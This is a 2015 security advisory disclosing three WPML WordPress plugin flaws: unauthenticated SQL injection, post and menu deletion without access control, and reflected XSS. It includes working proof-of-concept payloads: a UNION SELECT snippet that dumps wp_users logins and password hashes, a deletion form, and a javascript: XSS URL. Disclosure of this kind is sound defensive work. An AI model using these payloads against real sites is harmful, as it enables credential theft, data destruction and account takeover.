WordPress WPML XSS / Deletion / SQL Injection

[Aerosol]

OVERVIEW
==========

WPML is the industry standard for creating multi-lingual WordPress
sites. Three vulnerabilities were found in the plug-in. The most
serious of them, an SQL injection problem, allows anyone to read the
contents of the WordPress database, including user details and
password hashes, without authentication.

System administrators should update to version 3.1.9.1 released
earlier this week to resolve the issues.



DETAILS
========

1. SQL injection

When WPML processed a HTTP POST request containing the parameter
”action=wp-link-ajax”, the current language is determined by parsing
the HTTP referer. The parsed language code is not checked for
validity, nor SQL-escaped. The user doesn’t need to be logged in.

By sending a carefully crafted referer value with the mentioned POST
request parameter, an attacker can perform SQL queries on arbitrary
tables and retrieve their results. In addition to the standard
WordPress database and tables, the attacker may query all other
databases and tables accessible to the web backend.

The following HTML snippet demonstrates the vulnerability:

<script>
var union="select
user_login,1,user_email,2,3,4,5,6,user_pass,7,8,9,10,11,12 from
wp_users";
if (document.location.search.length < 2)
        document.location.search="lang=xx' UNION "+union+" -- -- ";
</script>

<form method=POST action="https://YOUR.WORDPRESS.BLOG/comments/feed">
<input type=hidden name=action value="wp-link-ajax">
<input type=submit>
</form>

The results of the SQL query will be shown in the comments feed XML-formatted.



2. Page/post/menu deletion

WPML contains a ”menu sync” function which helps site administrators
to keep WordPress menus consistent across different languages. This
functionality lacked any access control, allowing anyone to delete
practically all content of the website - posts, pages, and menus.

Example:

<form method=POST
action="https://YOUR.WORDPRESS.BLOG/?page=sitepress-multilingual-cms/menu/menus-sync.php">
<input type=hidden name="action" value="icl_msync_confirm">
<input type=text name="sync" size=50 value="del[x][y][12345]=z">
<input type=submit>
</form>

Submitting the above form would delete the row with the ID 12345 in
the wp_posts database. Several items be deleted with the same request.



3. Reflected XSS

The ”reminder popup” code intended for administrators in WPML didn’t
check for login status or nonce. An attacker can direct target users
to an URL like:

https://YOUR.WORDPRESS.BLOG/?icl_action=reminder_popup&target=javascript%3Aalert%28%2Fhello+world%2f%29%3b%2f%2f


to execute JavaScript in their browser. This example bypasses the
Chrome XSS Auditor.

In the case of WordPress, XSS triggered by an administrator can lead
to server-side compromise via the plugin and theme editors.



CREDITS
========

The vulnerabilities were found by Jouko Pynnonen of Klikki Oy while
researching WordPress plugins falling in the scope of the Facebook bug
bounty program.

The vendor was notified on March 02, 2015 and the patch was released
on March 10.

Vendor advisory: http://wpml.org/2015/03/wpml-security-update-bug-and-fix/

An up-to-date version of this document can be found on our website
http://klikki.fi .


-- 
Jouko Pynnönen <jouko@iki.fi>
Klikki Oy - http://klikki.fi

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